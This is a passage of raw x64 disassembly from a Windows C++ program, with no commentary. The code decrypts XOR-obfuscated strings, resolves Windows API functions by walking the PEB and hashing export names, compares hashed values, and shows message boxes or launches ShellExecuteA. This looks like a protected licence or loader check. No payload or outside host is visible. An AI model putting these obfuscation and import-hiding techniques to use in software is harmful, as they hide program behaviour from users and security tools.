call fcn.1400c4bcc
movdqa xmm0, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0x8d0], xmm0
mov byte [rbp + 0x8c0], 0
mov rdx, qword [rbp + 0x878]
cmp rdx, 0x10
jb 0x14002f8b7
inc rdx
mov rcx, qword [rbp + 0x860]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f8b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002f8b2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4bcc
mov qword [rbp + 0x870], rbx
mov qword [rbp + 0x878], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x860], 0
mov rax, qword [rbp + 0x920]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x920], rax
mov rax, qword [rbp + 0x920]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x91c], edx
lea rcx, [rbp + 0x930]
call fcn.14000b030
lea rcx, [rbp + 0x938]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x9d0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov r15, 0xffffffffffffffff
mov r12, qword [rbp + 0x78]
jmp 0x14002f937
xor ebx, ebx
mov rcx, qword [rsp + 0x48]
call fcn.14003ddc0
lea rax, [rbp + 0x768]
mov qword [rsp + 0x48], rax
lea rdx, [rsi + 0x60]
lea rcx, [rbp + 0x768]
call fcn.14000ba30
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc8], rbx
mov qword [rbp + 0xd0], rbx
mov rbx, qword [rbp + 0x830]
lea rsi, [rbp + 0x820]
cmp qword [rbp + 0x838], 0x10
cmovae rsi, qword [rbp + 0x820]
cmp rbx, r13
ja 0x140030c05
mov qword [rbp + 0xd0], reloc.WS2_32.dll_ntohs
cmp rbx, 0x10
jae 0x14002f9c3
mov qword [rbp + 0xc8], rbx
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0xb8], xmm0
jmp 0x14002fa1b
mov rax, rbx
or rax, 0xf
cmp rax, r13
ja 0x14002f9df
mov r13, rax
cmp rax, 0x16
mov eax, socket
cmovb r13, rax
mov rdx, r13
add rdx, 1
cmovb rdx, r15
lea rcx, [rbp + 0xb8]
call fcn.140019d00
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc8], rbx
mov qword [rbp + 0xd0], r13
lea r8, [rbx + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
mov r8, r14
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x840]
call fcn.1400387e0
nop
movdqa xmm0, xmmword [0x1400cacb0]
movdqu xmmword [rbp + 0xa0], xmm0
mov byte [rbp + 0xb0], 1
xor r14d, r14d
mov ecx, r14d
nop
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx + 0xa0], al
inc rcx
cmp rcx, 0xf
jb 0x14002fa50
mov byte [rbp + 0xb0], r14b
lea rcx, [rbp + 0xa0]
mov rax, r15
inc rax
cmp byte [rcx + rax], r14b
jne 0x14002fa74
lea rcx, [rbp + 0x840]
mov rbx, qword [rbp + 0x840]
mov rsi, qword [rbp + 0x858]
cmp rsi, 0x10
cmovae rcx, rbx
mov r8, qword [rbp + 0x850]
cmp r8, rax
jne 0x14002fc10
lea rdx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14002fc10
movdqa xmm0, xmmword [0x1400cada0]
movdqa xmmword [rbp + 0x1f0], xmm0
movdqa xmm1, xmmword [0x1400cafb0]
movdqa xmmword [rbp + 0x200], xmm1
movdqa xmm0, xmmword [0x1400cae40]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [0x1400cae90]
movdqa xmmword [rbp + 0x220], xmm1
mov dword [rbp + 0x230], 0xf6b3a4
mov byte [rbp + 0x234], 1
mov rcx, r14
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx + 0x1f0], al
inc rcx
cmp rcx, 0x43
jb 0x14002fb12
mov byte [rbp + 0x234], r14b
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x1f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14002fbd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002fbd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x7ab7f47d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002fbd1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14002fbb0
cmp r8d, 0x24cbd99d
je 0x14002fbdb
test r9d, r9d
jne 0x14002fb90
mov rax, qword [rax]
jmp 0x14002fb60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rsi, qword [rbp + 0x858]
mov rbx, qword [rbp + 0x840]
mov edi, dword [rbp - 0x50]
nop word [rax + rax]
lea rax, [rbp + 0x260]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x840]
cmp rsi, 0x10
cmovae rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], r14
mov qword [rbp + 0x278], r14
inc r15
cmp byte [rdx + r15], r14b
jne 0x14002fc43
mov r8, r15
lea rcx, [rbp + 0x260]
call fcn.14000ec80
nop
lea rax, [rbp + 0x788]
mov qword [rbp + 0x78], rax
lea rdx, [0x1400fc040]
lea rcx, [rbp + 0x788]
call fcn.14000ba30
mov rbx, rax
lea rdx, [0x1400fc020]
lea rcx, [rbp + 0x7a8]
call fcn.14000ba30
nop
lea r8, [rbp + 0x260]
mov rdx, rbx
mov rcx, rax
call fcn.140024c60
xor eax, 0xa5a5
mov edx, eax
shr eax, 8
movzx r8d, al
movzx eax, dl
movabs r13, 0xcbf29ce484222325
xor rax, r13
movabs r15, 0x100000001b3
imul rax, r15
xor r8, rax
imul r8, r15
mov eax, edx
shr eax, 0x10
movzx ecx, al
xor r8, rcx
imul r8, r15
shr rdx, 0x18
xor r8, rdx
imul r8, r15
cmp r8w, 0xdf7f
jne 0x1400309c1
mov qword [rbp + 0x800], r14
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rbp + 0x7c8]
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x808]
call fcn.140020800
nop
mov rdx, r12
lea rcx, [rbp + 0x148]
call fcn.14001c120
nop
mov dword [rsp + 0x70], 0xfcf6e0f9
mov dword [rsp + 0x74], 0xf8f2e8
mov byte [rsp + 0x78], 1
mov rcx, r14
nop
lea eax, [rcx - 0x6a]
xor byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 7
jb 0x14002fd50
mov byte [rsp + 0x78], 0
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x77]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x670]
call fcn.140012f50
or edi, 0x30000
mov dword [rbp - 0x50], edi
movzx ecx, byte [rbp + 0x808]
test cl, cl
jne 0x14002fdb0
mov byte [rbp + 0x808], 1
call fcn.14001ec00
mov qword [rbp + 0x810], rax
movzx ecx, byte [rbp + 0x808]
jmp 0x14002fdb7
mov rax, qword [rbp + 0x810]
cmp cl, 1
jne 0x14002fdcd
lea rdx, [rbp + 0x670]
mov rcx, rax
call fcn.140024640
jmp 0x14002fdd2
mov rax, qword [rsp + 0x48]
lea rdx, [rbp + 0x148]
mov rcx, rax
call fcn.1400242a0
movzx ebx, al
lea rcx, [rbp + 0x670]
call fcn.14000b880
nop
movzx edx, byte [rbp + 0x148]
lea rcx, [rbp + 0x150]
call fcn.14002a970
test bl, bl
jne 0x14002febc
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14002fe96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002fe96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x5f4b444
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002fe91
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14002fe70
cmp r8d, 0xd3499c54
je 0x14002fe9b
test r9d, r9d
jne 0x14002fe50
mov rax, qword [rax]
jmp 0x14002fe20
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 8
call rdx
mov edi, dword [rbp - 0x50]
mov dword [rbp - 0x80], 0xeaebf2fb
mov dword [rbp - 0x7c], 0xf9fcfb
mov byte [rbp - 0x78], 1
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 7
jb 0x14002fee0
mov byte [rbp - 0x78], 0
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x79]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x690]
call fcn.140012f50
or edi, 0xc000
mov rbx, qword [rsp + 0x48]
movzx ecx, byte [rbp + 0x808]
test cl, cl
jne 0x14002ff3f
mov byte [rbp + 0x808], 1
call fcn.14001ec00
mov qword [rbp + 0x810], rax
movzx ecx, byte [rbp + 0x808]
jmp 0x14002ff46
mov rax, qword [rbp + 0x810]
cmp cl, 1
jne 0x14002ff5d
lea rdx, [rbp + 0x690]
mov rcx, rax
call fcn.140024640
mov rbx, rax
lea rdx, [rbp + 0xa30]
mov rcx, rbx
call fcn.14001c870
nop
lea rcx, [rbp + 0x690]
call fcn.14000b880
lea rdx, [rbp + 0x808]
lea rcx, [rbp + 0x3e0]
call fcn.140023080
mov rdx, rax
mov rsi, qword [rbp + 0x70]
mov rcx, rsi
call fcn.140032ee0
movabs r14, 0xcbe5c873d26645f1
mov dword [rsp + 0x50], 0xfcfcf8f5
mov word [rsp + 0x54], 0x100
xor r12d, r12d
mov ecx, r12d
nop word [rax + rax]
lea eax, [rcx - 0x6a]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 4
jb 0x14002ffc0
mov byte [rsp + 0x55], r12b
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x54]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x6b0]
call fcn.140012f50
or edi, 0xc0000
movzx ecx, byte [rbp + 0x808]
test cl, cl
jne 0x14003001d
mov byte [rbp + 0x808], 1
call fcn.14001ec00
mov qword [rbp + 0x810], rax
movzx ecx, byte [rbp + 0x808]
jmp 0x140030024
mov rax, qword [rbp + 0x810]
cmp cl, 1
jne 0x14003003a
lea rdx, [rbp + 0x6b0]
mov rcx, rax
call fcn.140024640
jmp 0x14003003f
mov rax, qword [rsp + 0x48]
mov rcx, rax
call fcn.14001c800
mov edx, eax
shr eax, 8
movzx ebx, al
movzx eax, dl
xor rax, r13
imul rax, r15
xor rbx, rax
imul rbx, r15
mov eax, edx
shr eax, 0x10
movzx ecx, al
xor rbx, rcx
imul rbx, r15
shr rdx, 0x18
xor rbx, rdx
imul rbx, r15
lea rcx, [rbp + 0x6b0]
call fcn.14000b880
mov dword [rbp - 0x70], 0xfafbe2e5
mov dword [rbp - 0x6c], 0xefe8ff
mov byte [rbp - 0x68], 1
mov rcx, r12
nop dword [rax + rax]
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx - 0x70], al
inc rcx
cmp rcx, 7
jb 0x1400300a0
mov byte [rbp - 0x68], 0
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x69]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x5d0]
call fcn.140012f50
or edi, 0x300000
or edi, 1
mov dword [rbp - 0x50], edi
movzx ecx, byte [rbp + 0x808]
test cl, cl
jne 0x140030100
mov byte [rbp + 0x808], 1
call fcn.14001ec00
mov qword [rbp + 0x810], rax
movzx ecx, byte [rbp + 0x808]
jmp 0x140030107
mov rax, qword [rbp + 0x810]
cmp cl, 1
jne 0x140030120
lea rdx, [rbp + 0x5d0]
mov rcx, rax
call fcn.140024640
mov rcx, rax
jmp 0x140030125
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r12
cmp byte [rax], 0
je 0x1400301c6
mov dword [rbp], 0xfafbe2e5
mov dword [rbp + 4], 0xefe8ff
mov byte [rbp + 8], 1
lea rdx, [rbp + 0x6d0]
lea rcx, [rbp]
call fcn.140024730
nop
or edi, 2
mov dword [rbp - 0x50], edi
movzx eax, byte [rbp + 0x808]
test al, al
jne 0x14003018c
mov byte [rbp + 0x808], 1
call fcn.14001ec00
mov rcx, rax
mov qword [rbp + 0x810], rax
movzx eax, byte [rbp + 0x808]
jmp 0x140030193
mov rcx, qword [rbp + 0x810]
cmp al, 1
jne 0x1400301a8
lea rdx, [rbp + 0x6d0]
call fcn.140024640
mov rcx, rax
jmp 0x1400301ad
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r12
cmp byte [rax], 0
je 0x1400301c2
cmp rbx, r14
je 0x1400301c6
xor bl, bl
jmp 0x1400301c8
mov bl, 1
test dil, 2
je 0x1400301de
and edi, 0xfffffffd
lea rcx, [rbp + 0x6d0]
call fcn.14000b880
nop
test dil, 1
je 0x1400301f0
lea rcx, [rbp + 0x5d0]
call fcn.14000b880
test bl, bl
je 0x1400308e8
mov dword [rbp + 0x10], 0xfafbe2e5
mov dword [rbp + 0x14], 0xefe8ff
mov byte [rbp + 0x18], 1
lea rdx, [rbp + 0x6f0]
lea rcx, [rbp + 0x10]
call fcn.140024730
nop
movzx eax, byte [rbp + 0x808]
test al, al
jne 0x140030245
mov byte [rbp + 0x808], 1
call fcn.14001ec00
mov rcx, rax
mov qword [rbp + 0x810], rax
movzx eax, byte [rbp + 0x808]
jmp 0x14003024c
mov rcx, qword [rbp + 0x810]
cmp al, 1
jne 0x140030261
lea rdx, [rbp + 0x6f0]
call fcn.140024640
mov rcx, rax
jmp 0x140030266
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + 8]
cmp byte [rcx], 4
mov r14d, 0
cmovne rax, r14
movzx ebx, byte [rax]
lea rcx, [rbp + 0x6f0]
call fcn.14000b880
test bl, bl
je 0x140030454
mov dword [rbp + 0x60], 0xcaeff2f8
mov dword [rbp + 0x64], 0xf4efe8ff
mov dword [rbp + 0x68], 0x100f1f1
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x60]
call fcn.140024830
nop
movzx eax, byte [rbp + 0x808]
test al, al
jne 0x1400302de
mov byte [rbp + 0x808], 1
call fcn.14001ec00
mov rcx, rax
mov qword [rbp + 0x810], rax
movzx eax, byte [rbp + 0x808]
jmp 0x1400302e5
mov rcx, qword [rbp + 0x810]
cmp al, 1
jne 0x1400302fa
lea rdx, [rbp + 0x570]
call fcn.140024640
mov rcx, rax
jmp 0x1400302ff
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r14
movzx ebx, byte [rax]
lea rcx, [rbp + 0x570]
call fcn.14000b880
test bl, bl
je 0x140030328
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x50], 0xeaebf2e5
mov dword [rbp + 0x54], 0xf4f2f4f3
mov word [rbp + 0x58], 0xfa
mov byte [rbp + 0x5a], 1
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x50]
call fcn.1400247b0
nop
movzx eax, byte [rbp + 0x808]
test al, al
jne 0x14003037b
mov byte [rbp + 0x808], 1
call fcn.14001ec00
mov rcx, rax
mov qword [rbp + 0x810], rax
movzx eax, byte [rbp + 0x808]
jmp 0x140030382
mov rcx, qword [rbp + 0x810]
cmp al, 1
jne 0x140030394
lea rdx, [rbp + 0x590]
call fcn.140024640
jmp 0x140030399
mov rax, qword [rsp + 0x48]
lea rcx, [rsi + 0x240]
mov rdx, rax
call fcn.14001c450
nop
lea rcx, [rbp + 0x590]
call fcn.14000b880
mov byte [0x1400fdb00], 1
mov dword [rbp + 0x20], 0xf0e8e7f7
mov dword [rbp + 0x24], 0xf3fdf4
mov byte [rbp + 0x28], 1
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x20]
call fcn.140024730
nop
movzx ecx, byte [rbp + 0x808]
test cl, cl
jne 0x140030406
mov byte [rbp + 0x808], 1
call fcn.14001ec00
mov qword [rbp + 0x810], rax
movzx ecx, byte [rbp + 0x808]
jmp 0x14003040d
mov rax, qword [rbp + 0x810]
cmp cl, 1
jne 0x140030423
lea rdx, [rbp + 0x5b0]
mov rcx, rax
call fcn.140024640
jmp 0x140030428
mov rax, qword [rsp + 0x48]
mov rdx, rax
lea rcx, [rbp + 0x3d0]
call fcn.140023080
mov rdx, rax
mov rcx, rsi
call fcn.140032a20
nop
lea rcx, [rbp + 0x5b0]
call fcn.14000b880
jmp 0x14003099c
mov dword [rbp - 0x48], 0xf8eef9ff
mov dword [rbp - 0x44], 0xebf8f2f6
mov dword [rbp - 0x40], 0x100edfb
xor eax, eax
mov qword [rbp + 0xe0], rax
mov byte [rbp + 0xd8], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x890], xmm0
lea ecx, [rax + 0x20]
call fcn.1400c4950
lea rcx, [rbp + 0x818]
mov qword [rbp + 0x890], rcx
mov qword [rbp + 0x898], rax
cmp byte [rbp - 0x3d], 0
je 0x1400304c4
mov rdx, r14
nop dword [rax]
lea ecx, [rdx - 0x6a]
xor byte [rbp + rdx - 0x48], cl
inc rdx
cmp rdx, 0xa
jb 0x1400304b0
mov byte [rbp - 0x3d], 0
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x3e]
lea rdx, [rbp - 0x48]
mov rcx, rax
call fcn.140012f50
mov rax, qword [rbp + 0x898]
mov qword [rbp + 0x898], r14
mov qword [rbp + 0xe0], rax
mov dword [rbp - 0x10], 0xeaebf2fb
mov dword [rbp - 0xc], 0xf9fcfb
mov byte [rbp - 8], 1
lea rdx, [rbp + 0x5f0]
lea rcx, [rbp - 0x10]
call fcn.140024730
nop
movzx ecx, byte [rbp + 0x808]
test cl, cl
jne 0x140030538
mov byte [rbp + 0x808], 1
call fcn.14001ec00
mov qword [rbp + 0x810], rax
movzx ecx, byte [rbp + 0x808]
jmp 0x14003053f
mov rax, qword [rbp + 0x810]
cmp cl, 1
jne 0x140030555
lea rdx, [rbp + 0x5f0]
mov rcx, rax
call fcn.140024640
jmp 0x14003055a
mov rax, qword [rsp + 0x48]
lea rdx, [rbp + 0xd8]
mov rcx, rax
call fcn.1400242a0
movzx ebx, al
lea rcx, [rbp + 0x5f0]
call fcn.14000b880
nop
movzx edx, byte [rbp + 0xd8]
lea rcx, [rbp + 0xe0]
call fcn.14002a970
test bl, bl
je 0x14003099c
mov dword [rbp + 0x30], 0xf7eff8f2
mov dword [rbp + 0x34], 0xf9fdf4f6
mov word [rbp + 0x38], 0x100
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x30]
call fcn.140024770
nop
mov rbx, qword [rsp + 0x48]
movzx eax, byte [rbp + 0x808]
test al, al
jne 0x1400305e8
mov byte [rbp + 0x808], 1
call fcn.14001ec00
mov rcx, rax
mov qword [rbp + 0x810], rax
movzx eax, byte [rbp + 0x808]
jmp 0x1400305ef
mov rcx, qword [rbp + 0x810]
cmp al, 1
jne 0x140030602
lea rdx, [rbp + 0x610]
call fcn.140024640
mov rbx, rax
lea rdx, [rbp + 0x900]
mov rcx, rbx
call fcn.14001c870
nop
lea rcx, [rbp + 0x610]
call fcn.14000b880
lea rcx, [rbp + 0x900]
mov rdi, qword [rbp + 0x900]
mov rsi, qword [rbp + 0x918]
cmp rsi, 0x10
cmovae rcx, rdi
mov r8, qword [rbp + 0x910]
test r8, r8
jne 0x1400307e7
lea rdx, [0x1400e7f89]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400307e7
movdqa xmm0, xmmword [0x1400caf20]
movdqa xmmword [rbp + 0x430], xmm0
movdqa xmm1, xmmword [0x1400cafd0]
movdqa xmmword [rbp + 0x440], xmm1
movdqa xmm0, xmmword [0x1400caff0]
movdqa xmmword [rbp + 0x450], xmm0
movdqa xmm1, xmmword [0x1400cae30]
movdqa xmmword [rbp + 0x460], xmm1
movdqa xmm0, xmmword [0x1400cade0]
movdqa xmmword [rbp + 0x470], xmm0
movdqa xmm1, xmmword [0x1400cadc0]
movdqa xmmword [rbp + 0x480], xmm1
movdqa xmm0, xmmword [0x1400cad00]
movdqa xmmword [rbp + 0x490], xmm0
movdqa xmm1, xmmword [0x1400cad50]
movdqa xmmword [rbp + 0x4a0], xmm1
movdqa xmm0, xmmword [0x1400cad30]
movdqa xmmword [rbp + 0x4b0], xmm0
movdqa xmm1, xmmword [0x1400cad40]
movdqa xmmword [rbp + 0x4c0], xmm1
movdqa xmm0, xmmword [0x1400cad10]
movdqa xmmword [rbp + 0x4d0], xmm0
movdqa xmm1, xmmword [0x1400cad20]
movdqa xmmword [rbp + 0x4e0], xmm1
movdqa xmm0, xmmword [0x1400cacf0]
movdqa xmmword [rbp + 0x4f0], xmm0
movdqa xmm1, xmmword [0x1400cace0]
movdqa xmmword [rbp + 0x500], xmm1
movdqa xmm0, xmmword [0x1400cb040]
movdqa xmmword [rbp + 0x510], xmm0
movdqa xmm1, xmmword [0x1400cb030]
movdqa xmmword [rbp + 0x520], xmm1
movdqa xmm0, xmmword [0x1400caf30]
movdqa xmmword [rbp + 0x530], xmm0
movdqa xmm1, xmmword [0x1400caf90]
movdqa xmmword [rbp + 0x540], xmm1
movdqa xmm0, xmmword [0x1400cae20]
movdqa xmmword [rbp + 0x550], xmm0
mov dword [rbp + 0x560], 0xb0a4b3a5
mov word [rbp + 0x564], 0xe4
mov byte [rbp + 0x566], 1
mov rcx, r14
nop dword [rax]
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx + 0x430], al
inc rcx
cmp rcx, 0x135
jb 0x1400307b0
mov byte [rbp + 0x566], 0
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x430]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14003082a
lea rbx, [rbp + 0x900]
cmp rsi, 0x10
cmovae rbx, rdi
mov dword [rbp - 0x28], 0xf7fde7f9
mov word [rbp - 0x24], 0x100
lea rcx, [rbp - 0x28]
call fcn.140026140
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400308b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400308b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x224fa55b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400308b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140030890
cmp r8d, 0x7a44f22b
je 0x1400308bb
test r9d, r9d
jne 0x140030870
mov rax, qword [rax]
jmp 0x140030840
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
nop
lea rcx, [rbp + 0x900]
call fcn.14000b880
jmp 0x14003099c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030976
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030976
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x9345c9e2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140030971
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140030950
cmp r8d, 0x41543a3a
je 0x14003097b
test r9d, r9d
jne 0x140030930
mov rax, qword [rax]
jmp 0x140030900
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 9
call rdx
xor r14d, r14d
lea rcx, [rbp + 0xa30]
call fcn.14000b880
nop
movzx edx, byte [rbp + 0x808]
lea rcx, [rbp + 0x810]
call fcn.14002a970
jmp 0x140030a7a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030a56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030a56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x9463e089
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140030a51
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140030a30
cmp r8d, 0x16152569
je 0x140030a5b
test r9d, r9d
jne 0x140030a10
mov rax, qword [rax]
jmp 0x1400309e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 7
call rdx
nop
mov rdx, qword [rbp + 0x858]
cmp rdx, 0x10
jb 0x140030abe
inc rdx
mov rcx, qword [rbp + 0x840]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030ab9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030ab9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4bcc
mov qword [rbp + 0x850], r14
mov qword [rbp + 0x858], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x840], 0
mov rdx, qword [rbp + 0x838]
cmp rdx, 0x10
jb 0x140030b1b
inc rdx
mov rcx, qword [rbp + 0x820]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030b16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030b16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4bcc
mov qword [rbp + 0x830], r14
mov qword [rbp + 0x838], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x820], 0
mov rdx, qword [rbp + 0x8b8]
cmp rdx, 0x10
jb 0x140030b78
inc rdx
mov rcx, qword [rbp + 0x8a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030b73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030b73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4bcc
mov qword [rbp + 0x8b0], r14
mov qword [rbp + 0x8b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x8a0], 0
